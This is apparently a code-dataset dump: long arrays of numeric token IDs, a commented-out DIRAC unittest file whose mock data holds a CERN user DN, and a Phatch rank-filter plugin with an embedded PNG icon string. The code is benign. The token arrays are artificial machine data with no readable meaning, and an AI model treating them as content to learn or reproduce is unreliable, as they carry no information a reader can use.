[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
miloszz/DIRAC
ResourceStatusSystem/Client/Oldtest/Test_Clients.py
10
11312
#import unittest # #from DIRAC.Core.Base import Script #Script.parseCommandLine() # #from DIRAC.ResourceStatusSystem.Utilities.mock import Mock #from DIRAC.ResourceStatusSystem.Client.JobsClient import JobsClient #from DIRAC.ResourceStatusSystem.Client.PilotsClient import PilotsClient #from DIRAC.ResourceStatusSystem.Client.ResourceStatusClient import ResourceStatusClient #from DIRAC.ResourceStatusSystem.Client.ResourceManagementClient import ResourceManagementClient # #from DIRAC.ResourceStatusSystem.Utilities import CS # #ValidRes = CS.getTypedDictRootedAt("GeneralConfig")['Resource'] #ValidStatus = CS.getTypedDictRootedAt("GeneralConfig")['Status'] # ############################################################################## # #class ClientsTestCase( unittest.TestCase ): # """ Base class for the clients test cases # """ # def setUp( self ): # # self.mockRSS = Mock() # # self.RSCli = ResourceStatusClient( serviceIn = self.mockRSS ) # self.RMCli = ResourceManagementClient( serviceIn = self.mockRSS ) # self.PilotsCli = PilotsClient() # self.JobsCli = JobsClient() # ############################################################################## # #class ResourceStatusClientSuccess( ClientsTestCase ): # # def test_getPeriods( self ): # self.mockRSS.getPeriods.return_value = {'OK':True, 'Value':[]} # for granularity in ValidRes: # for status in ValidStatus: # res = self.RSCli.getPeriods( granularity, 'XX', status, 20 ) # self.assertEqual(res['OK'], True) # self.assertEqual( res['Value'], [] ) # # def test_getServiceStats( self ): # self.mockRSS.getServiceStats.return_value = {'OK':True, 'Value':[]} # res = self.RSCli.getServiceStats( 'Site', '' ) # self.assertEqual( res['Value'], [] ) # # def test_getResourceStats( self ): # self.mockRSS.getResourceStats.return_value = {'OK':True, 'Value':[]} # res = self.RSCli.getResourceStats( 'Site', '' ) # self.assertEqual( res['Value'], [] ) # res = self.RSCli.getResourceStats( 'Service', '' ) # self.assertEqual( res['Value'], [] ) # # def test_getStorageElementsStats( self ): # self.mockRSS.getStorageElementsStats.return_value = {'OK':True, 'Value':[]} # res = self.RSCli.getStorageElementsStats( 'Site', '', "Read" ) # self.assertEqual( res['Value'], [] ) # res = self.RSCli.getStorageElementsStats( 'Resource', '', "Read") # self.assertEqual( res['Value'], [] ) # # def test_getMonitoredStatus( self ): # self.mockRSS.getSitesStatusWeb.return_value = {'OK':True, 'Value': {'Records': [['', '', '', '', 'Active', '']]}} # self.mockRSS.getServicesStatusWeb.return_value = {'OK':True, 'Value':{'Records': [['', '', '', '', 'Active', '']]}} # self.mockRSS.getResourcesStatusWeb.return_value = {'OK':True, 'Value':{'Records': [['', '', '', '', '', 'Active', '']]}} # self.mockRSS.getStorageElementsStatusWeb.return_value = {'OK':True, 'Value':{'Records': [['', '', '', '', 'Active', '']]}} # for g in ValidRes: # res = self.RSCli.getMonitoredStatus( g, 'a' ) # self.assertEqual( res['Value'], ['Active'] ) # res = self.RSCli.getMonitoredStatus( g, ['a'] ) # self.assertEqual( res['Value'], ['Active'] ) # res = self.RSCli.getMonitoredStatus( g, ['a', 'b'] ) # self.assertEqual( res['Value'], ['Active', 'Active'] ) # # def test_getCachedAccountingResult( self ): # self.mockRSS.getCachedAccountingResult.return_value = {'OK':True, 'Value':[]} # res = self.RMCli.getCachedAccountingResult( 'XX', 'pippo', 'ZZ' ) # self.assertEqual( res['Value'], [] ) # # def test_getCachedResult( self ): # self.mockRSS.getCachedResult.return_value = {'OK':True, 'Value':[]} # res = self.RMCli.getCachedResult( 'XX', 'pippo', 'ZZ', 1 ) # self.assertEqual( res['Value'], [] ) # # def test_getCachedIDs( self ): # self.mockRSS.getCachedIDs.return_value = {'OK':True, # 'Value':[78805473L, 78805473L, 78805473L, 78805473L]} # res = self.RMCli.getCachedIDs( 'XX', 'pippo' ) # self.assertEqual( res['Value'], [78805473L, 78805473L, 78805473L, 78805473L] ) # # # ############################################################################## # #class JobsClientSuccess( ClientsTestCase ): # # def test_getJobsSimpleEff( self ): # WMS_Mock = Mock() # WMS_Mock.getSiteSummaryWeb.return_value = {'OK': True, # 'rpcStub': ( ( 'WorkloadManagement/WMSAdministrator', # {'skipCACheck': True, # 'delegatedGroup': 'diracAdmin', # 'delegatedDN': '/DC=ch/DC=cern/OU=Organic Units/OU=Users/CN=fstagni/CN=693025/CN=Federico Stagni', 'timeout': 600} ), # 'getSiteSummaryWeb', ( {'Site': 'LCG.CERN.ch'}, [], 0, 500 ) ), # 'Value': {'TotalRecords': 1, # 'ParameterNames': ['Site', 'GridType', 'Country', 'Tier', 'MaskStatus', 'Received', 'Checking', 'Staging', 'Waiting', 'Matched', 'Running', 'Stalled', 'Done', 'Completed', 'Failed', 'Efficiency', 'Status'], # 'Extras': {'ru': {'Received': 0, 'Staging': 0, 'Checking': 0, 'Completed': 0, 'Waiting': 0, 'Failed': 0, 'Running': 0, 'Done': 0, 'Stalled': 0, 'Matched': 0}, 'fr': {'Received': 0, 'Staging': 0, 'Checking': 0, 'Completed': 0, 'Waiting': 12L, 'Failed': 0, 'Running': 0, 'Done': 0, 'Stalled': 0, 'Matched': 0}, 'ch': {'Received': 0, 'Staging': 0, 'Checking': 0, 'Completed': 0, 'Waiting': 4L, 'Failed': 0, 'Running': 0, 'Done': 0, 'Stalled': 0, 'Matched': 1L}, 'nl': {'Received': 0, 'Staging': 0, 'Checking': 0, 'Completed': 0, 'Waiting': 0, 'Failed': 0, 'Running': 0, 'Done': 0, 'Stalled': 0, 'Matched': 0}, 'uk': {'Received': 0, 'Staging': 0, 'Checking': 0, 'Completed': 0, 'Waiting': 0, 'Failed': 0, 'Running': 0, 'Done': 0, 'Stalled': 0, 'Matched': 0}, 'Unknown': {'Received': 0, 'Staging': 0, 'Checking': 0, 'Completed': 0, 'Waiting': 0, 'Failed': 0, 'Running': 0, 'Done': 0, 'Stalled': 0, 'Matched': 0}, 'de': {'Received': 0, 'Staging': 0, 'Checking': 0, 'Completed': 0, 'Waiting': 1L, 'Failed': 0, 'Running': 0, 'Done': 0, 'Stalled': 0, 'Matched': 0}, 'it': {'Received': 0, 'Staging': 0, 'Checking': 1L, 'Completed': 0, 'Waiting': 2L, 'Failed': 0, 'Running': 0, 'Done': 0, 'Stalled': 0, 'Matched': 0}, 'hu': {'Received': 0, 'Staging': 0, 'Checking': 0, 'Completed': 0, 'Waiting': 0, 'Failed': 0, 'Running': 0, 'Done': 0, 'Stalled': 0, 'Matched': 0}, 'cy': {'Received': 0, 'Staging': 0, 'Checking': 0, 'Completed': 0, 'Waiting': 0, 'Failed': 0, 'Running': 0, 'Done': 0, 'Stalled': 0, 'Matched': 0}, 'bg': {'Received': 0, 'Staging': 0, 'Checking': 0, 'Completed': 0, 'Waiting': 0, 'Failed': 0, 'Running': 0, 'Done': 0, 'Stalled': 0, 'Matched': 0}, 'au': {'Received': 0, 'Staging': 0, 'Checking': 0, 'Completed': 0, 'Waiting': 10L, 'Failed': 0, 'Running': 0, 'Done': 0, 'Stalled': 0, 'Matched': 0}, 'il': {'Received': 0, 'Staging': 0, 'Checking': 0, 'Completed': 0, 'Waiting': 0, 'Failed': 0, 'Running': 0, 'Done': 0, 'Stalled': 0, 'Matched': 0}, 'br': {'Received': 0, 'Staging': 0, 'Checking': 0, 'Completed': 0, 'Waiting': 0, 'Failed': 0, 'Running': 0, 'Done': 0, 'Stalled': 0, 'Matched': 0}, 'ie': {'Received': 0, 'Staging': 0, 'Checking': 0, 'Completed': 0, 'Waiting': 0, 'Failed': 0, 'Running': 0, 'Done': 0, 'Stalled': 0, 'Matched': 0}, 'pl': {'Received': 0, 'Staging': 0, 'Checking': 0, 'Completed': 0, 'Waiting': 0, 'Failed': 0, 'Running': 0, 'Done': 0, 'Stalled': 0, 'Matched': 0}, 'es': {'Received': 0, 'Staging': 0, 'Checking': 0, 'Completed': 0, 'Waiting': 0, 'Failed': 0, 'Running': 0, 'Done': 2L, 'Stalled': 0, 'Matched': 0}}, # 'Records': [['LCG.CERN.ch', 'LCG', 'ch', 'Tier-1', 'Active', 0, 0, 0, 4L, 1L, 0, 0, 0, 0, 0, '0.0', 'Idle']]}} # res = self.JobsCli.getJobsSimpleEff( 'XX', RPCWMSAdmin = WMS_Mock ) # self.assertEqual( res, {'LCG.CERN.ch': 'Idle'} ) # ############################################################################## # #class PilotsClientSuccess( ClientsTestCase ): # ## def test_getPilotsStats(self): ## self.mockRSS.getPeriods.return_value = {'OK':True, 'Value':[]} ## for granularity in ValidRes: ## for status in ValidStatus: ## res = self.RSCli.getPeriods(granularity, 'XX', status, 20) ## self.assertEqual(res['Periods'], []) # # def test_getPilotsSimpleEff( self ): # #self.mockRSS.getPilotsSimpleEff.return_value = {'OK':True, 'Value':{'Records': [['', '', 0, 3L, 0, 0, 0, 283L, 66L, 0, 0, 352L, '1.00', '81.25', 'Fair', 'Yes']]}} # # WMS_Mock = Mock() # WMS_Mock.getPilotSummaryWeb.return_value = {'OK': True, # 'rpcStub': ( ( 'WorkloadManagement/WMSAdministrator', # {'skipCACheck': True, # 'delegatedGroup': 'diracAdmin', # 'delegatedDN': '/DC=ch/DC=cern/OU=Organic Units/OU=Users/CN=fstagni/CN=693025/CN=Federico Stagni', 'timeout': 600} ), # 'getPilotSummaryWeb', ( {'GridSite': 'LCG.Ferrara.it'}, [], 0, 500 ) ), # 'Value': { # 'TotalRecords': 0, # 'ParameterNames': ['Site', 'CE', 'Submitted', 'Ready', 'Scheduled', 'Waiting', 'Running', 'Done', 'Aborted', 'Done_Empty', 'Aborted_Hour', 'Total', 'PilotsPerJob', 'PilotJobEff', 'Status', 'InMask'], # 'Extras': {'Scheduled': 0, 'Status': 'Poor', 'Aborted_Hour': 20L, 'Waiting': 59L, 'Submitted': 6L, 'PilotsPerJob': '1.03', 'Ready': 0, 'Running': 0, 'PilotJobEff': '39.34', 'Done': 328L, 'Aborted': 606L, 'Done_Empty': 9L, 'Total': 999L}, # 'Records': []}} # # res = self.PilotsCli.getPilotsSimpleEff( 'Site', 'LCG.Ferrara.it', RPCWMSAdmin = WMS_Mock ) # self.assertEqual( res, None ) # res = self.PilotsCli.getPilotsSimpleEff( 'Resource', 'grid0.fe.infn.it', 'LCG.Ferrara.it', RPCWMSAdmin = WMS_Mock ) # self.assertEqual( res, None ) # ############################################################################## # #if __name__ == '__main__': # suite = unittest.defaultTestLoader.loadTestsFromTestCase( ClientsTestCase ) # suite.addTest( unittest.defaultTestLoader.loadTestsFromTestCase( ResourceStatusClientSuccess ) ) # suite.addTest( unittest.defaultTestLoader.loadTestsFromTestCase( JobsClientSuccess ) ) # suite.addTest( unittest.defaultTestLoader.loadTestsFromTestCase( PilotsClientSuccess ) ) # testResult = unittest.TextTestRunner( verbosity = 2 ).run( suite )
gpl-3.0
[ 3, 646, 2882, 199, 3, 199, 3, 504, 26565, 14, 5402, 14, 1563, 492, 14914, 199, 3, 5229, 14, 1122, 16926, 342, 199, 3, 199, 3, 504, 26565, 14, 4031, 3694, 3989, 14, 22905, 14, 1805, 8295, 492, 4420, 199, 3, 504, 26565, 14, 4031, 3694, 3989, 14, 3041, 14, 20578, 3041, 5185, 492, 7135, 1533, 3041, 199, 3, 504, 26565, 14, 4031, 3694, 3989, 14, 3041, 14, 10542, 4555, 3041, 3777, 492, 19835, 4555, 3041, 199, 3, 504, 26565, 14, 4031, 3694, 3989, 14, 3041, 14, 4031, 3694, 3041, 258, 492, 7337, 3694, 3041, 199, 3, 504, 26565, 14, 4031, 3694, 3989, 14, 3041, 14, 4031, 14552, 3041, 492, 7337, 14552, 3041, 199, 3, 199, 3, 504, 26565, 14, 4031, 3694, 3989, 14, 22905, 9668, 492, 17447, 199, 3, 199, 3, 3490, 1322, 275, 17447, 14, 362, 22193, 2141, 50, 1534, 471, 1271, 480, 14109, 2028, 531, 459, 4031, 418, 199, 3, 3490, 3694, 275, 17447, 14, 362, 22193, 2141, 50, 1534, 471, 1271, 480, 14109, 2028, 531, 459, 3694, 418, 199, 3, 199, 4605, 199, 3, 199, 3, 533, 6810, 83, 1746, 8, 2882, 14, 1746, 3461, 199, 3, 221, 408, 3523, 1021, 367, 314, 13431, 511, 5560, 199, 3, 221, 408, 199, 3, 221, 347, 3613, 8, 291, 3461, 199, 3, 199, 3, 259, 291, 14, 1805, 22786, 275, 4420, 342, 199, 3, 199, 3, 259, 291, 14, 50, 5153, 317, 275, 7337, 3694, 3041, 8, 2435, 607, 275, 291, 14, 1805, 22786, 776, 199, 3, 259, 291, 14, 50, 7608, 317, 275, 7337, 14552, 3041, 8, 2435, 607, 275, 291, 14, 1805, 22786, 776, 199, 3, 259, 291, 14, 10542, 4555, 20653, 275, 19835, 4555, 3041, 342, 199, 3, 259, 291, 14, 20578, 20653, 275, 7135, 1533, 3041, 342, 199, 3, 199, 4605, 199, 3, 199, 3, 533, 7337, 3694, 3041, 8300, 8, 6810, 83, 1746, 3461, 199, 3, 199, 3, 221, 347, 511, 63, 362, 15518, 83, 8, 291, 3461, 199, 3, 259, 291, 14, 1805, 22786, 14, 362, 15518, 83, 14, 1107, 63, 585, 275, 791, 3593, 356, 549, 12, 283, 1110, 356, 8607, 93, 199, 3, 259, 367, 9202, 22504, 315, 4821, 1322, 26, 199, 3, 420, 367, 2004, 315, 4821, 3694, 26, 199, 3, 263, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 15518, 83, 8, 9202, 22504, 12, 283, 2483, 297, 2004, 12, 3388, 776, 199, 3, 263, 291, 14, 629, 8, 470, 459, 3593, 995, 715, 9, 199, 3, 263, 291, 14, 629, 8, 522, 459, 1110, 995, 942, 776, 199, 3, 199, 3, 221, 347, 511, 63, 362, 3167, 8257, 8, 291, 3461, 199, 3, 259, 291, 14, 1805, 22786, 14, 362, 3167, 8257, 14, 1107, 63, 585, 275, 791, 3593, 356, 549, 12, 283, 1110, 356, 8607, 93, 199, 3, 259, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 3167, 8257, 8, 283, 8972, 297, 2125, 776, 199, 3, 259, 291, 14, 629, 8, 522, 459, 1110, 995, 942, 776, 199, 3, 199, 3, 221, 347, 511, 63, 362, 4031, 8257, 8, 291, 3461, 199, 3, 259, 291, 14, 1805, 22786, 14, 362, 4031, 8257, 14, 1107, 63, 585, 275, 791, 3593, 356, 549, 12, 283, 1110, 356, 8607, 93, 199, 3, 259, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 4031, 8257, 8, 283, 8972, 297, 2125, 776, 199, 3, 259, 291, 14, 629, 8, 522, 459, 1110, 995, 942, 776, 199, 3, 259, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 4031, 8257, 8, 283, 3167, 297, 2125, 776, 199, 3, 259, 291, 14, 629, 8, 522, 459, 1110, 995, 942, 776, 199, 3, 199, 3, 221, 347, 511, 63, 362, 6408, 6255, 8257, 8, 291, 3461, 199, 3, 259, 291, 14, 1805, 22786, 14, 362, 6408, 6255, 8257, 14, 1107, 63, 585, 275, 791, 3593, 356, 549, 12, 283, 1110, 356, 8607, 93, 199, 3, 259, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 6408, 6255, 8257, 8, 283, 8972, 297, 3260, 298, 3284, 2, 776, 199, 3, 259, 291, 14, 629, 8, 522, 459, 1110, 995, 942, 776, 199, 3, 259, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 6408, 6255, 8257, 8, 283, 4031, 297, 3260, 298, 3284, 531, 199, 3, 259, 291, 14, 629, 8, 522, 459, 1110, 995, 942, 776, 199, 3, 199, 3, 221, 347, 511, 63, 362, 6671, 17043, 3694, 8, 291, 3461, 199, 3, 259, 291, 14, 1805, 22786, 14, 362, 51, 4033, 3694, 5926, 14, 1107, 63, 585, 275, 791, 3593, 356, 549, 12, 283, 1110, 356, 791, 14941, 356, 11194, 297, 3260, 3260, 3260, 283, 7472, 297, 283, 6538, 4863, 199, 3, 259, 291, 14, 1805, 22786, 14, 362, 15803, 3694, 5926, 14, 1107, 63, 585, 275, 791, 3593, 356, 549, 12, 283, 1110, 3010, 14941, 356, 11194, 297, 3260, 3260, 3260, 283, 7472, 297, 283, 6538, 4863, 199, 3, 259, 291, 14, 1805, 22786, 14, 362, 13745, 3694, 5926, 14, 1107, 63, 585, 275, 791, 3593, 356, 549, 12, 283, 1110, 3010, 14941, 356, 11194, 297, 3260, 3260, 3260, 3260, 283, 7472, 297, 283, 6538, 4863, 199, 3, 259, 291, 14, 1805, 22786, 14, 362, 6408, 6255, 3694, 5926, 14, 1107, 63, 585, 275, 791, 3593, 356, 549, 12, 283, 1110, 3010, 14941, 356, 11194, 297, 3260, 3260, 3260, 283, 7472, 297, 283, 6538, 4863, 199, 3, 259, 367, 486, 315, 4821, 1322, 26, 199, 3, 420, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 6671, 17043, 3694, 8, 486, 12, 283, 65, 7, 776, 199, 3, 420, 291, 14, 629, 8, 522, 459, 1110, 995, 788, 7472, 418, 776, 199, 3, 420, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 6671, 17043, 3694, 8, 486, 12, 788, 65, 418, 776, 199, 3, 420, 291, 14, 629, 8, 522, 459, 1110, 995, 788, 7472, 418, 776, 199, 3, 420, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 6671, 17043, 3694, 8, 486, 12, 788, 65, 297, 283, 66, 418, 776, 199, 3, 420, 291, 14, 629, 8, 522, 459, 1110, 995, 788, 7472, 297, 283, 7472, 418, 776, 199, 3, 199, 3, 221, 347, 511, 63, 362, 16138, 6009, 316 ]
[ 646, 2882, 199, 3, 199, 3, 504, 26565, 14, 5402, 14, 1563, 492, 14914, 199, 3, 5229, 14, 1122, 16926, 342, 199, 3, 199, 3, 504, 26565, 14, 4031, 3694, 3989, 14, 22905, 14, 1805, 8295, 492, 4420, 199, 3, 504, 26565, 14, 4031, 3694, 3989, 14, 3041, 14, 20578, 3041, 5185, 492, 7135, 1533, 3041, 199, 3, 504, 26565, 14, 4031, 3694, 3989, 14, 3041, 14, 10542, 4555, 3041, 3777, 492, 19835, 4555, 3041, 199, 3, 504, 26565, 14, 4031, 3694, 3989, 14, 3041, 14, 4031, 3694, 3041, 258, 492, 7337, 3694, 3041, 199, 3, 504, 26565, 14, 4031, 3694, 3989, 14, 3041, 14, 4031, 14552, 3041, 492, 7337, 14552, 3041, 199, 3, 199, 3, 504, 26565, 14, 4031, 3694, 3989, 14, 22905, 9668, 492, 17447, 199, 3, 199, 3, 3490, 1322, 275, 17447, 14, 362, 22193, 2141, 50, 1534, 471, 1271, 480, 14109, 2028, 531, 459, 4031, 418, 199, 3, 3490, 3694, 275, 17447, 14, 362, 22193, 2141, 50, 1534, 471, 1271, 480, 14109, 2028, 531, 459, 3694, 418, 199, 3, 199, 4605, 199, 3, 199, 3, 533, 6810, 83, 1746, 8, 2882, 14, 1746, 3461, 199, 3, 221, 408, 3523, 1021, 367, 314, 13431, 511, 5560, 199, 3, 221, 408, 199, 3, 221, 347, 3613, 8, 291, 3461, 199, 3, 199, 3, 259, 291, 14, 1805, 22786, 275, 4420, 342, 199, 3, 199, 3, 259, 291, 14, 50, 5153, 317, 275, 7337, 3694, 3041, 8, 2435, 607, 275, 291, 14, 1805, 22786, 776, 199, 3, 259, 291, 14, 50, 7608, 317, 275, 7337, 14552, 3041, 8, 2435, 607, 275, 291, 14, 1805, 22786, 776, 199, 3, 259, 291, 14, 10542, 4555, 20653, 275, 19835, 4555, 3041, 342, 199, 3, 259, 291, 14, 20578, 20653, 275, 7135, 1533, 3041, 342, 199, 3, 199, 4605, 199, 3, 199, 3, 533, 7337, 3694, 3041, 8300, 8, 6810, 83, 1746, 3461, 199, 3, 199, 3, 221, 347, 511, 63, 362, 15518, 83, 8, 291, 3461, 199, 3, 259, 291, 14, 1805, 22786, 14, 362, 15518, 83, 14, 1107, 63, 585, 275, 791, 3593, 356, 549, 12, 283, 1110, 356, 8607, 93, 199, 3, 259, 367, 9202, 22504, 315, 4821, 1322, 26, 199, 3, 420, 367, 2004, 315, 4821, 3694, 26, 199, 3, 263, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 15518, 83, 8, 9202, 22504, 12, 283, 2483, 297, 2004, 12, 3388, 776, 199, 3, 263, 291, 14, 629, 8, 470, 459, 3593, 995, 715, 9, 199, 3, 263, 291, 14, 629, 8, 522, 459, 1110, 995, 942, 776, 199, 3, 199, 3, 221, 347, 511, 63, 362, 3167, 8257, 8, 291, 3461, 199, 3, 259, 291, 14, 1805, 22786, 14, 362, 3167, 8257, 14, 1107, 63, 585, 275, 791, 3593, 356, 549, 12, 283, 1110, 356, 8607, 93, 199, 3, 259, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 3167, 8257, 8, 283, 8972, 297, 2125, 776, 199, 3, 259, 291, 14, 629, 8, 522, 459, 1110, 995, 942, 776, 199, 3, 199, 3, 221, 347, 511, 63, 362, 4031, 8257, 8, 291, 3461, 199, 3, 259, 291, 14, 1805, 22786, 14, 362, 4031, 8257, 14, 1107, 63, 585, 275, 791, 3593, 356, 549, 12, 283, 1110, 356, 8607, 93, 199, 3, 259, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 4031, 8257, 8, 283, 8972, 297, 2125, 776, 199, 3, 259, 291, 14, 629, 8, 522, 459, 1110, 995, 942, 776, 199, 3, 259, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 4031, 8257, 8, 283, 3167, 297, 2125, 776, 199, 3, 259, 291, 14, 629, 8, 522, 459, 1110, 995, 942, 776, 199, 3, 199, 3, 221, 347, 511, 63, 362, 6408, 6255, 8257, 8, 291, 3461, 199, 3, 259, 291, 14, 1805, 22786, 14, 362, 6408, 6255, 8257, 14, 1107, 63, 585, 275, 791, 3593, 356, 549, 12, 283, 1110, 356, 8607, 93, 199, 3, 259, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 6408, 6255, 8257, 8, 283, 8972, 297, 3260, 298, 3284, 2, 776, 199, 3, 259, 291, 14, 629, 8, 522, 459, 1110, 995, 942, 776, 199, 3, 259, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 6408, 6255, 8257, 8, 283, 4031, 297, 3260, 298, 3284, 531, 199, 3, 259, 291, 14, 629, 8, 522, 459, 1110, 995, 942, 776, 199, 3, 199, 3, 221, 347, 511, 63, 362, 6671, 17043, 3694, 8, 291, 3461, 199, 3, 259, 291, 14, 1805, 22786, 14, 362, 51, 4033, 3694, 5926, 14, 1107, 63, 585, 275, 791, 3593, 356, 549, 12, 283, 1110, 356, 791, 14941, 356, 11194, 297, 3260, 3260, 3260, 283, 7472, 297, 283, 6538, 4863, 199, 3, 259, 291, 14, 1805, 22786, 14, 362, 15803, 3694, 5926, 14, 1107, 63, 585, 275, 791, 3593, 356, 549, 12, 283, 1110, 3010, 14941, 356, 11194, 297, 3260, 3260, 3260, 283, 7472, 297, 283, 6538, 4863, 199, 3, 259, 291, 14, 1805, 22786, 14, 362, 13745, 3694, 5926, 14, 1107, 63, 585, 275, 791, 3593, 356, 549, 12, 283, 1110, 3010, 14941, 356, 11194, 297, 3260, 3260, 3260, 3260, 283, 7472, 297, 283, 6538, 4863, 199, 3, 259, 291, 14, 1805, 22786, 14, 362, 6408, 6255, 3694, 5926, 14, 1107, 63, 585, 275, 791, 3593, 356, 549, 12, 283, 1110, 3010, 14941, 356, 11194, 297, 3260, 3260, 3260, 283, 7472, 297, 283, 6538, 4863, 199, 3, 259, 367, 486, 315, 4821, 1322, 26, 199, 3, 420, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 6671, 17043, 3694, 8, 486, 12, 283, 65, 7, 776, 199, 3, 420, 291, 14, 629, 8, 522, 459, 1110, 995, 788, 7472, 418, 776, 199, 3, 420, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 6671, 17043, 3694, 8, 486, 12, 788, 65, 418, 776, 199, 3, 420, 291, 14, 629, 8, 522, 459, 1110, 995, 788, 7472, 418, 776, 199, 3, 420, 522, 275, 291, 14, 50, 5153, 317, 14, 362, 6671, 17043, 3694, 8, 486, 12, 788, 65, 297, 283, 66, 418, 776, 199, 3, 420, 291, 14, 629, 8, 522, 459, 1110, 995, 788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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
tibor95/phatch-python2.7
build/lib.linux-i686-2.7/phatch/actions/rank.py
4
11485
# Phatch - Photo Batch Processor # Copyright (C) 2007-2008 www.stani.be # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see http://www.gnu.org/licenses/ # # Phatch recommends SPE (http://pythonide.stani.be) for editing python files. # Embedded icon is taken from www.openclipart.org (public domain) # Follows PEP8 from core import models from lib.reverse_translation import _t #---PIL def init(): global Image, ImageFilter, imtools from PIL import Image from PIL import ImageFilter from lib import imtools def rnk(image, radius, rank=50, amount=100): """Apply a filter - amount: 0-1""" rank /= 100.0 r = int((radius * radius - 1) * rank) image = imtools.convert_safe_mode(image) ranked = image.filter(ImageFilter.RankFilter(radius, r)) if amount < 100: return imtools.blend(image, ranked, amount / 100) return ranked #---Phatch class Action(models.Action): """""" label = _t('Rank') author = 'Stani' email = 'spe.stani.be@gmail.com' init = staticmethod(init) pil = staticmethod(rnk) version = '0.1' tags = [_t('filter')] __doc__ = _t("Copies the rank'th pixel value") def interface(self, fields): fields[_t('Radius')] = self.RankSizeField(self.RANK_SIZES[0]) fields[_t('Rank')] = self.SliderField(50, 0, 100) fields[_t('Amount')] = self.SliderField(100, 1, 100) icon = \ 'x\xda\x01v\x0c\x89\xf3\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x000\x00\ \x00\x000\x08\x06\x00\x00\x00W\x02\xf9\x87\x00\x00\x00\x04sBIT\x08\x08\x08\ \x08|\x08d\x88\x00\x00\x0c-IDATh\x81\xed\x99k\x8c]\xd7U\xc7\x7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c\xe3J1\ \x8c\x06\x11X\x0fk\xc9F\x14)y\x14\x01o\x1fS\xc3#\xa6\x12\x031\x83\xb3\xc9\ \xf5^\xda\xf5\xc4\r\x85\\m\xd0\x0e2PR"\xe2\xed\x84G\x89\x07k\x88\xaf>\xa5]}\ \xc0w5!\x031\xa3\xa2\xd6\n\x1aN \xd7\xfb\xd6\x05#\xa4cV{\\\x95\xf7G\x05\x8c\ \xf6!#vT\x800\xf88\xb0"`\x80\xc1)\xf0\x15\xcb\xbb\xfa\xa1\xfb\x1a\xda\x7f\ \xc7\x1f\xb4\xdf+\xffW\xcb\x7f\x03{\x9d|\xecF\x00q\x1c\x00\x00\x00\x00IEND\ \xaeB`\x82\xfc+\x1c['
gpl-3.0
